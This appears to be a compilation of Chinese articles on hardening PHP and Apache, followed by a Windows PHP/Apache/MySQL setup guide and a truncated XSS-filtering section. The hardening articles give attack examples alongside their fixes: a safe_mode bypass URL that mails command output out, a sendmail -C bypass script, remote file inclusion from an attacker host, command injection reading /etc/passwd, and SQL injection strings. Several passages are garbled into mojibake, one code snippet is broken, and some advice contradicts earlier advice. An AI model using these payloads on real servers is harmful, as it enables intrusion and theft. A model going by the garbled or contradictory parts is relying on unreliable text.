php安全配置
1. php安全配置 如何配置使其更安全
一、Web伺服器安全
PHP其實不過是Web伺服器的一個模塊功能,所以首先要保證Web伺服器的安全。當然Web伺服器要安全又必須是先保證系統安全,這樣就扯遠了,無窮無盡。PHP可以和各種Web伺服器結合,這里也只討論Apache。非常建議以chroot方式安裝啟動Apache,這樣即使Apache和PHP及其腳本出現漏洞,受影響的也只有這個禁錮的系統,不會危害實際系統。但是使用chroot的Apache後,給應用也會帶來一定的麻煩,比如連接mysql時必須用127.0.0.1地址使用tcp連接而不能用localhost實現socket連接,這在效率上會稍微差一點。還有mail函數發送郵件也是個問題,因為php.ini里的:
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = [email protected]
都是針對Win32平台,所以需要在chroot環境下調整好sendmail。
二、PHP本身問題
1、遠程溢出
PHP-4.1.2以下的所有版本都存在文件上傳遠程緩沖區溢出漏洞,而且攻擊程序已經廣泛流傳,成功率非常高:
http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt
2、遠程拒絕服務
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請求處理遠程漏洞,雖然不能獲得本地用戶許可權,但是也能造成拒絕服務。
3、safe_mode繞過漏洞
還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數繞過safe_mode限制執行命令漏洞,4.0.5版本開始mail函數增加了第五個參數,由於設計者考慮不周可以突破safe_mode的限制執行命令。其中4.0.5版本突破非常簡單,只需用分號隔開後面加shell命令就可以了,比如存在PHP腳本evil.php:
<? mail("foo@bar,"foo","bar","",$bar); ?>
執行如下的URL:
http://foo.com/evil.php?bar=;/usr/bin/id|mail [email protected]
這將id執行的結果發送給[email protected]。
對於4.0.6至4.2.2的PHP突破safe_mode限制其實是利用了sendmail的-C參數,所以系統必須是使用sendmail。如下的代碼能夠突破safe_mode限制執行命令:
<?
# 注意,下面這兩個必須是不存在的,或者它們的屬主和本腳本的屬主是一樣
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>
還是使用以上有問題版本PHP的用戶一定要及時升級到最新版本,這樣才能消除基本的安全問題。
三、PHP本身的安全配置
PHP的配置非常靈活,可以通過php.ini, httpd.conf, .htaccess文件(該目錄必須設置了AllowOverride All或Options)進行設置,還可以在腳本程序里使用ini_set()及其他的特定的函數進行設置。通過phpinfo()和get_cfg_var()函數可以得到配置選項的各個值。
如果配置選項是唯一PHP_INI_SYSTEM屬性的,必須通過php.ini和httpd.conf來修改,它們修改的是PHP的Master值,但修改之後必須重啟apache才能生效。其中php.ini設置的選項是對Web伺服器所有腳本生效,httpd.conf里設置的選項是對該定義的目錄下所有腳本生效。
如果還有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL屬性的選項就可以使用.htaccess文件設置,也可以通過在腳本程序自身用ini_set()函數設定,它們修改的是Local值,改了以後馬上生效。但是.htaccess只對當前目錄的腳本程序生效,ini_set()函數只對該腳本程序設置ini_set()函數以後的代碼生效。各個版本的選項屬性可能不盡相同,可以用如下命令查找當前源代碼的main.c文件得到所有的選項,以及它的屬性:
# grep PHP_INI_ /PHP_SRC/main/main.c
在討論PHP安全配置之前,應該好好了解PHP的safe_mode模式。
1、safe_mode
safe_mode是唯一PHP_INI_SYSTEM屬性,必須通過php.ini或httpd.conf來設置。要啟用safe_mode,只需修改php.ini:
safe_mode = On
或者修改httpd.conf,定義目錄:
<Directory /var/www>
Options FollowSymLinks
php_admin_value safe_mode 1
</Directory>
重啟apache後safe_mode就生效了。啟動safe_mode,會對許多PHP函數進行限制,特別是和系統相關的文件打開、命令執行等函數。
所有操作文件的函數將只能操作與腳本UID相同的文件,比如test.php腳本的內容為:
<?include("index.html")?>
幾個文件的屬性如下:
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php
在瀏覽器請求test.php會提示如下的錯誤信息:
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1
如果被操作文件所在目錄的UID和腳本UID一致,那麼該文件的UID即使和腳本不同也可以訪問的,不知這是否是PHP的一個漏洞還是另有隱情。所以php腳本屬主這個用戶最好就只作這個用途,絕對禁止使用root做為php腳本的屬主,這樣就達不到safe_mode的效果了。
如果想將其放寬到GID比較,則打開 safe_mode_gid可以考慮只比較文件的GID,可以設置如下選項:
safe_mode_gid = On
設置了safe_mode以後,所有命令執行的函數將被限制只能執行php.ini里safe_mode_exec_dir指定目錄里的程序,而且shell_exec、`ls -l`這種執行命令的方式會被禁止。如果確實需要調用其它程序,可以在php.ini做如下設置:
safe_mode_exec_dir = /usr/local/php/exec
然後拷貝程序到該目錄,那麼php腳本就可以用system等函數來執行該程序。而且該目錄里的shell腳本還是可以調用其它目錄里的系統命令。
safe_mode_include_dir string
當從此目錄及其子目錄(目錄必須在 include_path 中或者用完整路徑來包含)包含文件時越過 UID/GID 檢查。
從 PHP 4.2.0 開始,本指令可以接受和 include_path 指令類似的風格用分號隔開的路徑,而不只是一個目錄。
指定的限制實際上是一個前綴,而非一個目錄名。這也就是說「safe_mode_include_dir = /dir/incl」將允許訪問「/dir/include」和「/dir/incls」,如果它們存在。如果您希望將訪問控制在一個指定的目錄,那麼請在結尾加上一個斜線,例如:「safe_mode_include_dir = /dir/incl/」。
safe_mode_allowed_env_vars string
設置某些環境變罧贍蓯喬痹詰陌踩?笨凇1局噶畎??幸桓齠漢歐指艫那白毫斜懟T詘踩?J較攏?沒е荒芨謀淠切┟?志哂性謖飫鍰峁┑那白旱幕肪潮淞俊D?杴榭魷攏?沒е荒萇柚靡?PHP_ 開頭的環境變數(例如 PHP_FOO = BAR)。
注: 如果本指令為空,PHP 將使用戶可以修改任何環境變數!
safe_mode_protected_env_vars string
本指令包含有一個逗號分隔的環境變數的列表,最終用戶不能用 putenv() 來改變這些環境變數。甚至在 safe_mode_allowed_env_vars 中設置了允許修改時也不能改變這些變數。
雖然safe_mode不是萬能的(低版本的PHP可以繞過),但還是強烈建議打開安全模式,在一定程度上能夠避免一些未知的攻擊。不過啟用safe_mode會有很多限制,可能對應用帶來影響,所以還需要調整代碼和配置才能和諧。被安全模式限制或屏蔽的函數可以參考PHP手冊。
討論完safe_mode後,下面結合程序代碼實際可能出現的問題討論如何通過對PHP伺服器端的配置來避免出現的漏洞。
2、變數濫用
PHP默認register_globals = On,對於GET, POST, Cookie, Environment, Session的變罧梢災苯幼⒉岢扇?直淞俊K?塹淖⒉崴承蚴莢ariables_order = "EGPCS"(可以通過php.ini修改),同名變數variables_order右邊的覆蓋左邊,所以變數的濫用極易造成程序的混亂。而且腳本程序員往往沒有對變數初始化的習慣,像如下的程序片斷就極易受到攻擊:
<?
//test_1.php
if ($pass == "hello")
$auth = 1;
if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>
攻擊者只需用如下的請求就能繞過檢查:
http://victim/test_1.php?auth=1
這雖然是一個很弱智的錯誤,但一些著名的程序也有犯過這種錯誤,比如phpnuke的遠程文件拷貝漏洞http://www.securityfocus.com/bid/3361
PHP-4.1.0發布的時候建議關閉register_globals,並提供了7個特殊的數組變數來使用各種變數。對於從GET、POST、COOKIE等來的變數並不會直接注冊成變數,必需通過數組變數來存取。PHP-4.2.0發布的時候,php.ini默認配置就是register_globals = Off。這使得程序使用PHP自身初始化的默認值,一般為0,避免了攻擊者控制判斷變數。
解決方法:
配置文件php.ini設置register_globals = Off。
要求程序員對作為判斷的變數在程序最開始初始化一個值。
3、文件打開
極易受攻擊的代碼片斷:
<?
//test_2.php
if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename<BR>\n");
exit;
}
else {
echo $str;
}
?>
由於攻擊者可以指定任意的$filename,攻擊者用如下的請求就可以看到/etc/passwd:
http://victim/test_2.php?filename=/etc/passwd
如下請求可以讀php文件本身:
http://victim/test_2.php?filename=test_2.php
PHP中文件打開函數還有fopen(), file()等,如果對文件名變數檢查不嚴就會造成伺服器重要文件被訪問讀取。
解決方法:
如非特殊需要,把php的文件操作限制在web目錄裡面。以下是修改apache配置文件httpd.conf的一個例子:
<Directory /usr/local/apache/htdocs>
php_admin_value open_basedir /usr/local/apache/htdocs
</Directory>
重啟apache後,/usr/local/apache/htdocs目錄下的PHP腳本就只能操作它自己目錄下的文件了,否則PHP就會報錯:
Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.
使用safe_mode模式也能避免這種問題,前面已經討論過了。
4、包含文件
極易受攻擊的代碼片斷:
<?
//test_3.php
if(file_exists($filename))
include("$filename");
?>
這種不負責任的代碼會造成相當大的危害,攻擊者用如下請求可以得到/etc/passwd文件:
http://victim/test_3.php?filename=/etc/passwd
如果對於Unix版的PHP(Win版的PHP不支持遠程打開文件)攻擊者可以在自己開了http或ftp服務的機器上建立一個包含shell命令的文件,http://attack/attack.txt的內容是<?passthru("ls /etc")?>,那麼如下的請求就可以在目標主機執行命令ls /etc:
http://victim/test_3.php?filename=http://attack/attack.txt
攻擊者甚至可以通過包含apache的日誌文件access.log和error.log來得到執行命令的代碼,不過由於干擾信息太多,有時不易成功。
對於另外一種形式,如下代碼片斷:
<?
//test_4.php
include("$lib/config.php");
?>
攻擊者可以在自己的主機建立一個包含執行命令代碼的config.php文件,然後用如下請求也可以在目標主機執行命令:
http://victim/test_4.php?lib=http://attack
PHP的包含函數有include(), include_once(), require(), require_once。如果對包含文件名變數檢查不嚴就會對系統造成嚴重危險,可以遠程執行命令。
解決方法:
要求程序員包含文件里的參數盡量不要使用變數,如果使用變數,就一定要嚴格檢查要包含的文件名,絕對不能由用戶任意指定。
如前面文件打開中限制PHP操作路徑是一個必要的選項。另外,如非特殊需要,一定要關閉PHP的遠程文件打開功能。修改php.ini文件:
allow_url_fopen = Off
重啟apache。
5、文件上傳
php的文件上傳機制是把用戶上傳的文件保存在php.ini的upload_tmp_dir定義的臨時目錄(默認是系統的臨時目錄,如:/tmp)里的一個類似phpxXuoXG的隨機臨時文件,程序執行結束,該臨時文件也被刪除。PHP給上傳的文件定義了四個變數:(如form變數名是file,而且register_globals打開)
$file #就是保存到伺服器端的臨時文件(如/tmp/phpxXuoXG )
$file_size #上傳文件的大小
$file_name #上傳文件的原始名稱
$file_type #上傳文件的類型
推薦使用:
$HTTP_POST_FILES[file][tmp_name]
$HTTP_POST_FILES[file][size]
$HTTP_POST_FILES[file][name]
$HTTP_POST_FILES[file][type]
這是一個最簡單的文件上傳代碼:
<?
//test_5.php
if(isset($upload) && $file != "none") {
($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "文件".$file_name."上傳成功!點擊<a href=\"$PHP_SELF\">繼續上傳</a>";
exit;
}
?>
<html>
<head>
<title>文件上傳</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<form enctype="multipart/form-data" method="post">
上傳文件:
<input type="file" name="file" size="30">
<input type="submit" name="upload" value="上傳">
</form>
</body>
</html>
這樣的上傳代碼存在讀取任意文件和執行命令的重大問題。
下面的請求可以把/etc/passwd文檔拷貝到web目錄/usr/local/apache/htdocs/test(注意:這個目錄必須nobody可寫)下的attack.txt文件里:
http://victim/test_5.php?upload= ... ile_name=attack.txt
然後可以用如下請求讀取口令文件:
http://victim/test/attack.txt
攻擊者可以把php文件拷貝成其它擴展名,泄漏腳本源代碼。
攻擊者可以自定義form里file_name變數的值,上傳覆蓋任意有寫許可權的文件。
攻擊者還可以上傳PHP腳本執行主機的命令。
解決方法:
PHP-4.0.3以後提供了is_uploaded_file和move_uploaded_file函數,可以檢查操作的文件是否是用戶上傳的文件,從而避免把系統文件拷貝到web目錄。
使用$HTTP_POST_FILES數組來讀取用戶上傳的文件變數。
嚴格檢查上傳變數。比如不允許是php腳本文件。
把PHP腳本操作限制在web目錄可以避免程序員使用函數把系統文件拷貝到web目錄。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini里upload_tmp_dir的值。
把PHP腳本用phpencode進行加密,避免由於操作泄漏源碼。
嚴格配置文件和目錄的許可權,只允許上傳的目錄能夠讓nobody用戶可寫。
對於上傳目錄去掉PHP解釋功能,可以通過修改httpd.conf實現:
<Directory /usr/local/apache/htdocs/upload>
php_flag engine off
#如果是php3換成php3_engine off
</Directory>
重啟apache,upload目錄的php文件就不能被apache解釋了,即使上傳了php文件也沒有問題,只能直接顯示源碼。
6、命令執行
下面的代碼片斷是從PHPNetToolpack摘出,詳細的描述見:
http://www.securityfocus.com/bid/4303
<?
//test_6.php
system("traceroute $a_query",$ret_strs);
?>
由於程序沒有過濾$a_query變數,所以攻擊者可以用分號來追加執行命令。
攻擊者輸入如下請求可以執行cat /etc/passwd命令:
http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd
PHP的命令執行函數還有system(), passthru(), popen()和``等。命令執行函數非常危險,慎用。如果要使用一定要嚴格檢查用戶輸入。
解決方法:
要求程序員使用escapeshellcmd()函數過濾用戶輸入的shell命令。
啟用safe_mode可以杜絕很多執行命令的問題,不過要注意PHP的版本一定要是最新的,小於PHP-4.2.2的都可能繞過safe_mode的限制去執行命令。
7、sql_inject
如下的SQL語句如果未對變數進行處理就會存在問題:
select * from login where user=$user and pass=$pass
攻擊者可以用戶名和口令都輸入1 or 1=1繞過驗證。
不過幸虧PHP有一個默認的選項magic_quotes_gpc = On,該選項使得從GET, POST, COOKIE來的變數自動加了addslashes()操作。上面SQL語句變成了:
select * from login where user=1\ or 1=\1 and pass=1\ or 1=\1
從而避免了此類sql_inject攻擊。
對於數字類型的欄位,很多程序員會這樣寫:
select * from test where id=$id
由於變數沒有用單引號擴起來,就會造成sql_inject攻擊。幸虧MySQL功能簡單,沒有sqlserver等資料庫有執行命令的SQL語句,而且PHP的mysql_query()函數也只允許執行一條SQL語句,所以用分號隔開多條SQL語句的攻擊也不能奏效。但是攻擊者起碼還可以讓查詢語句出錯,泄漏系統的一些信息,或者一些意想不到的情況。
解決方法:
要求程序員對所有用戶提交的要放到SQL語句的變數進行過濾。
即使是數字類型的欄位,變數也要用單引號擴起來,MySQL自己會把字串處理成數字。
在MySQL里不要給PHP程序高級別許可權的用戶,只允許對自己的庫進行操作,這也避免了程序出現問題被 SELECT INTO OUTFILE ... 這種攻擊。
8、警告及錯誤信息
PHP默認顯示所有的警告及錯誤信息:
error_reporting = E_ALL & ~E_NOTICE
display_errors = On
在平時開發調試時這非常有用,可以根據警告信息馬上找到程序錯誤所在。
正式應用時,警告及錯誤信息讓用戶不知所措,而且給攻擊者泄漏了腳本所在的物理路徑,為攻擊者的進一步攻擊提供了有利的信息。而且由於自己沒有訪問到錯誤的地方,反而不能及時修改程序的錯誤。所以把PHP的所有警告及錯誤信息記錄到一個日誌文件是非常明智的,即不給攻擊者泄漏物理路徑,又能讓自己知道程序錯誤所在。
修改php.ini中關於Error handling and logging部分內容:
error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log
然後重啟apache,注意文件/usr/local/apache/logs/php_error.log必需可以讓nobody用戶可寫。
9、disable_functions
如果覺得有些函數還有威脅,可以設置php.ini里的disable_functions(這個選項不能在httpd.conf里設置),比如:
disable_functions = phpinfo, get_cfg_var
可以指定多個函數,用逗號分開。重啟apache後,phpinfo, get_cfg_var函數都被禁止了。建議關閉函數phpinfo, get_cfg_var,這兩個函數容易泄漏伺服器信息,而且沒有實際用處。
10、disable_classes
這個選項是從PHP-4.3.2開始才有的,它可以禁用某些類,如果有多個用逗號分隔類名。disable_classes也不能在httpd.conf里設置,只能在php.ini配置文件里修改。
11、open_basedir
前面分析常式的時候也多次提到用open_basedir對腳本操作路徑進行限制,這里再介紹一下它的特性。用open_basedir指定的限制實際上是前綴,不是目錄名。也就是說 "open_basedir = /dir/incl" 也會允許訪問 "/dir/include" 和 "/dir/incls",如果它們存在的話。如果要將訪問限制在僅為指定的目錄,用斜線結束路徑名。例如:"open_basedir = /dir/incl/"。
可以設置多個目錄,在Windows中,用分號分隔目錄。在任何其它系統中用冒號分隔目錄。作為Apache模塊時,父目錄中的open_basedir路徑自動被繼承。
四、其它安全配置
1、取消其它用戶對常用、重要系統命令的讀寫執行許可權
一般管理員維護只需一個普通用戶和管理用戶,除了這兩個用戶,給其它用戶能夠執行和訪問的東西應該越少越好,所以取消其它用戶對常用、重要系統命令的讀寫執行許可權能在程序或者服務出現漏洞的時候給攻擊者帶來很大的迷惑。記住一定要連讀的許可權也去掉,否則在linux下可以用/lib/ld-linux.so.2 /bin/ls這種方式來執行。
如果要取消某程如果是在chroot環境里,這個工作比較容易實現,否則,這項工作還是有些挑戰的。因為取消一些程序的執行許可權會導致一些服務運行不正常。PHP的mail函數需要/bin/sh去調用sendmail發信,所以/bin/bash的執行許可權不能去掉。這是一項比較累人的工作,
2、去掉apache日誌其它用戶的讀許可權
apache的access-log給一些出現本地包含漏洞的程序提供了方便之門。通過提交包含PHP代碼的URL,可以使access-log包含PHP代碼,那麼把包含文件指向access-log就可以執行那些PHP代碼,從而獲得本地訪問許可權。
如果有其它虛擬主機,也應該相應去掉該日誌文件其它用戶的讀許可權。
當然,如果你按照前面介紹的配置PHP那麼一般已經是無法讀取日誌文件了。
2. php配置運行環境怎麼配置
對於學習php的新手,由於網上的配置方法都是很久之前的,及時性不高,環境配置往往令人很頭疼,我初學php配置環境時配置了3個晚上,每次總是會出現這樣或那樣的問題,如今把最新版的PHP5.5.15+Apache2.4.10+MySQL5.6.20,win7x86的配置方法分享給大家,64位的同理,不過下載的軟體需要也是64位的。
工具/原料
環境:win7 32.(64位的同理,下載相關軟體必須是對應的64位版本)
PHP5.5.15(php-5.5.15-Win32-VC11-x86.zip)
Apache2.4.10(httpd-2.4.10-win32-VC11.zip)
MySQL5.6.20(mysql-5.6.20-win32.zip)
方法/步驟1、准備(下載所需軟體)
安裝apache前必須先安裝VC11(VSU_4\vcredist_x86.exe),網址為http://www.microsoft.com/en-us/download/details.aspx?id=30679,選擇時選擇英文版的,如果win7系統是64位的請下載VSU_4\vcredist_x64.exe,下載頁面參看下圖
Apache2.4.10(httpd-2.4.10-win32-VC11.zip)網址:http://www.apachelounge.com/download/
PHP5.5.15(php-5.5.15-Win32-VC11-x86.zip)這里我們選擇的是線程安全版,關於線程安全版與非線程安全版的區別可 自行上網查閱相關資料,下載網址:http://windows.php.net/download/,VC11 x86 Thread Safe為32位的線程安全版
MySQL5.6.20(mysql-5.6.20-win32.zip),網址:http://dev.mysql.com/downloads/mysql/,此處選擇的為免安裝版,參看下圖
END
方法/步驟2、安裝
1
安裝VC11,雙擊打開,點擊若干個下一步直至安裝成功就OK了
2
Apache 下載後是zip包,解壓到後放在合適的位置就可以了,不建議放在C盤里,因為重裝系統C盤的數據會全部丟失,這里我們將它放在F盤的phptools文件夾下的apache2.4目錄下
3
php 下載後也是zip包,同樣解壓到合適位置,我們這里也將其放在F盤的phptools文件夾下的php5.5目錄下
4
MySQL選擇的是免安裝版的,就更簡單了,同樣是解壓到合適的位置,這里我們也將其放在F盤的phptools文件夾下的MySQL目錄下,解壓安裝後如下圖
END
方法/步驟3、配置PHP
1
將F:\phptools\php5.5\php.ini-proction 復制一份,並重命名為php.ini;
2
將 F:\phptools\php5.5和F:\phptools\php5.5\ext加入環境變數PATH中,選中計算機,右鍵屬性-->高級系 統設置 -->環境變數-->系統變數,找到Path,編輯,在其後加上;F:\phptools\php5.5;F:\phptools \php5.5\ext,如下圖,
END
方法/步驟4、配置Apache
1
用記事本打開F:\phptools\Apache2.4\Apache24\conf
查找ServerRoot,修改ServerRoot "C:/Apache24" => ServerRoot "F:/phptools/Apache2.4/Apache24"(這里輸入的是你解壓apache安裝包後放的位置)
2
查找#ServerName www.example.com:80 ,修改為 ServerName www.example.com:80 (去掉前面的#)
3
查找DocumentRoot "c:/Apache24/htdocs" , 修改為DocumentRoot "F:/phptools/Apache2.4/Apache24/htdocs" (如果一樣,就不用改)
4
查找<Directory "c:/Apache24/htdocs"> ,修改為 <Directory " F:/phptools/Apache2.4/Apache24/htdocs "> (如果一樣,就不用改)
5
查找DirectoryIndex index.html ,修改為 DirectoryIndex index.html index.php index.htm (這里我們添加了index.php index.htm)
6
查找ScriptAlias /cgi-bin/ "c:/Apache24/cgi-bin/" ,修改為 ScriptAlias /cgi- bin/ " F:/phptools/Apache2.4/Apache24/cgi-bin" (如果一樣,也不用改)
7
查找<Directory "c:/Apache24/cgi-bin"> 修改為 <Directory "F:/phptools/Apache2.4/Apache24/cgi-bin/"> (如果一樣,也不用改)
8
在 F:\phptools\apache2.4.10\conf\httpd.conf最後一行添加添 加 LoadMole php5_mole "F:/phptools/php5.5/php5apache2_4.dll" 讓 apache 支持php (請確認F:/phptools/ php5.5/有php5apache2_4.dll,如果你下載的是我提供的連接肯定是有的)
9
添加 AddType application/x-httpd-php .php .html .htm
10
添加 PHPIniDir "F:/phptools/php5.5" (告訴apache php.ini的位置)
至此,httpd.conf 配置完成,保存httpd.conf 。
END
方法/步驟5、將apache安裝到系統服務中
1
輸入F:\phptools\Apache2.4\Apache24\bin\httpd -k install,回車
安裝過程如下圖所示
END
方法/步驟6、開啟幾個常用php擴展
用記事本打開F:\phptools\php5.5\php.ini
將; extension_dir = "ext"修改為 extension_dir = "ext" (去掉extension前面的分號)
將;extension=php_mbstring.dll 修改為 extension=php_mbstring.dll(去掉extension前面的分號,這是php多位元組字元串擴展)
將;extension=php_mysql.dll修改為 extension=php_mysql.dll(去掉extension前面的分號)
將;extension=php_mysqli.dll 修改為 extension=php_mysqli.dll(去掉extension前面的分號)
END
方法/步驟7、啟動Apache
MySQL免安裝版環境配置已有朋友寫過相關經驗,我就不贅述了,參考
經驗朋友niyikai寫的經驗即可。網址如下
http://jingyan..com/article/f3ad7d0ffc061a09c3345bf0.html
啟動apache,有兩種啟動方式:
在windows服務中啟動;點擊開始,找到計算機,右鍵-->管理-->服務和應用程序-->服務,找到Apache2.4,右鍵啟動即可,如下圖
雙擊F:\phptools\Apache2.4\Apache24\bin\ApacheMonitor.exe啟動,如下圖
END
方法/步驟8、啟動MySQL
1
MySQL免安裝版配置成功後,也在服務中啟動,啟動方法與Apache在服務中啟動方式類似,所不同的是,你點擊右鍵啟動的是MySQL服務
END
注意事項
配置Apache時,配置的目錄要與你解壓放置的目錄一致,否則會出錯
啟動Apache前要先在windows里安裝成功才能啟動
MySQL免安裝版必須要先配置成功後才能啟動
3. 如何實現php的安全最大化怎樣避免sql注入漏洞和xss跨站腳本攻擊漏洞
使用php安全模式
伺服器要做好管理,賬號許可權是否合理。
假定所有用戶的輸入都是「惡意」的,防止XSS攻擊,譬如:對用戶的輸入輸出做好必要的過濾
防止CSRF,表單設置隱藏域,post一個隨機字元串到後台,可以有效防止跨站請求偽造。
文件上傳,檢查是否做好效驗,要注意上傳文件存儲目錄許可權。
防禦SQL注入。
避免SQL注入漏洞
1.使用預編譯語句
2.使用安全的存儲過程
3.檢查輸入數據的數據類型
4.從資料庫自身的角度考慮,應該使用最小許可權原則,不可使用root或dbowner的身份連接資料庫。若多個應用使用同一個資料庫,也應該為資料庫分配不同的賬戶。web應用使用的資料庫賬戶,不應該有創建自定義函數,操作本地文件的許可權。
避免XSS跨站腳本攻擊
1.假定所有用戶輸入都是「邪惡」的
2.考慮周全的正則表達式
3.為cookie設置HttpOnly,防止cookie劫持
4.外部js不一定可靠
5.出去不必要的HTML注釋
6. 針對非法的HTML代碼包括單雙引號等,使用htmlspecialchars()函數。
4. PHP如何做好最基礎的安全防範
PHP如何做好最基礎的安全防範
php給了開發者極大的靈活性,但是這也為安全問題帶來了潛在的隱患,PHP如何做好最基礎的安全防範呢?下面我為大家解答一下,希望能幫到您!
當開發一個互聯網服務的時候,必須時刻牢記安全觀念,並在開發的代碼中體現。PHP腳本語言對安全問題並不關心,特別是對大多數沒有經驗的開發者來說。每當你講任何涉及到錢財事務等交易問題時,需要特別注意安全問題的考慮,例如開發一個論壇或者是一個購物車等。
安全保護一般性要點
不相信表單
對於一般的javascript前台驗證,由於無法得知用戶的行為,例如關閉了瀏覽器的javascript引擎,這樣通過POST惡意數據到伺服器。需要在伺服器端進行驗證,對每個php腳本驗證傳遞到的數據,防止XSS攻擊和SQL注入。
不相信用戶
要假設你的網站接收的每一條數據都是存在惡意代碼的,存在隱藏的威脅,要對每一條數據都進行清理
關閉全局變數
在php.ini文件中進行以下配置:
register_globals = Off
如果這個配置選項打開之後,會出現很大的安全隱患。例如有一個process.php的腳本文件,會將接收到的數據插入到資料庫,接收用戶輸入數據的表單可能如下:
< input name="username" type ="text" size = "15" maxlength = "64" >
這樣,當提交數據到process.php之後,php會注冊一個$username變數,將這個變數數據提交到process.php,同時對於任何POST或GET請求參數,都會設置這樣的變數。如果不是顯示進行初始化那麼就會出現下面的問題:
<?php
// Define $authorized = true only if user is authenticated
if
(authenticated_user()) {
$authorized = true;
}
?>
此處,假設authenticated_user函數就是判斷$authorized變數的值,如果開啟了register_globals配置,那麼任何用戶都可以發送一個請求,來設置$authorized變數的值為任意值從而就能繞過這個驗證。所有的這些提交數據都應該通過PHP預定義內置的全局數組來獲取,包括$_POST、$_GET、$_FILES、$_SERVER、$_REQUEST等,其中$_REQUEST是一個$_GET/$_POST/$_COOKIE三個數組的聯合變數,默認的順序是$_COOKIE、$_POST、$_GET。
推薦的安全配置選項
error_reporting設置為Off:不要暴露錯誤信息給用戶,開發的時候可以設置為ON
safe_mode設置為Off
register_globals設置為Off
將以下函數禁用:system、exec、passthru、shell_exec、proc_open、popen
open_basedir設置為 /tmp ,這樣可以讓session信息有存儲許可權,同時設置單獨的網站根目錄expose_php設置為Offallow_url_fopen設置為Offallow_url_include設置為Off
SQL注入攻擊
對於操作資料庫的SQL語句,需要特別注意安全性,因為用戶可能輸入特定語句使得原有的SQL語句改變了功能。類似下面的例子:
$sql ="select * from pinfo where proct = '$proct'";
此時如果用戶輸入的$proct參數為:'39'; DROP pinfo; SELECT 'FOO
那麼最終SQL語句就變成了如下的`樣子:
select proct from pinfo where proct = '39';
DROP pinfo;
SELECT 'FOO'
這樣就會變成三條SQL語句,會造成pinfo表被刪除,這樣會造成嚴重的後果。這個問題可以簡單的使用PHP的內置函數解決:
$sql = 'Select * from pinfo where proct = '"' mysql_real_escape_string($proct) . '"';
防止SQL注入攻擊需要做好兩件事:對輸入的參數總是進行類型驗證對單引號、雙引號、反引號等特殊字元總是使用mysql_real_escape_string函數進行轉義但是,這里根據開發經驗,不要開啟php的Magic Quotes,這個特性在php6中已經廢除,總是自己在需要的時候進行轉義。
防止基本的XSS攻擊
XSS攻擊不像其他攻擊,這種攻擊在客戶端進行,最基本的XSS工具就是防止一段javascript腳本在用戶待提交的表單頁面,將用戶提交的數據和cookie偷取過來。XSS工具比SQL注入更加難以防護,各大公司網站都被XSS攻擊過,雖然這種攻擊與php語言無關,但可以使用php來篩選用戶數據達到保護用戶數據的目的,這里主要使用的是對用戶的數據進行過濾,一般過濾掉HTML標簽,特別是a標簽。下面是一個普通的過濾方法:
function transform_HTML( $string , $length null) { // Helps prevent XSS attacks
// Remove dead space.
$string = trim( $string );
// Prevent potential Unicode codec problems.
$string = utf8_decode( $string );
// HTMLize HTML-specific characters.
$string = htmlentities( $string , ENT_NOQUOTES);
$string = str_replace ( "#" , "#" , $string );
$string = str_replace ( "%" , "%" , $string );
$length = intval ( $length );
if ( $length > 0) {
$string = substr ( $string , 0, $length );
}return $string ;
}
這個函數將HTML的特殊字元轉換為了HTML實體,瀏覽器在渲染這段文本的時候以純文本形式顯示。如bold會被顯示為: BoldText 上述函數的核心就是htmlentities函數,這個函數將html特殊標簽轉換為html實體字元,這樣可以過濾大部分的XSS攻擊。但是對於有經驗的XSS攻擊者,有更加巧妙的辦法進行攻擊:將他們的惡意代碼使用十六進制或者utf-8編碼,而不是普通的ASCII文本,例如可以使用下面的方式進行:
這樣瀏覽器渲染的結果其實是:
< a href = "http://host/a.php?variable=" >
< SCRIPT >Dosomethingmalicious
這樣就達到了攻擊的目的。為了防止這種情況,需要在transform_HTML函數的基礎上再將#和%轉換為他們對應的實體符號,同時加上了$length參數來限制提交的數據的最大長度。
使用SafeHTML防止XSS攻擊
上述關於XSS攻擊的防護非常簡單,但是不包含用戶的所有標記,同時有上百種繞過過濾函數提交javascript代碼的方法,也沒有辦法能完全阻止這個情況。目前,沒有一個單一的腳本能保證不被攻擊突破,但是總有相對來說防護程度更好的。一共有兩個安全防護的方式:白名單和黑名單。其中白名單更加簡單和有效。一種白名單解決方案就是SafeHTML,它足夠智能能夠識別有效的HTML,然後就可以去除任何危險的標簽。這個需要基於HTMLSax包來進行解析。安裝使用SafeHTML的方法:
1、前往http://pixel-apes.com/safehtml/?page=safehtml 下載最新的SafeHTML
2、將文件放入伺服器的classes 目錄,這個目錄包含所有的SafeHTML和HTMLSax庫
3、在自己的腳本中包含SafeHTML類文件
4、建立一個SafeHTML對象
5、使用parse方法進行過濾
<?php/* If you're storing the HTMLSax3.php in the /classes directory, along
with the safehtml.php script, define XML_HTMLSAX3 as a null string. */define(XML_HTMLSAX3, '' );// Include the class file.require_once ( 'classes/safehtml.php' );
// Define some sample bad code.
$data = This data would raise an alert
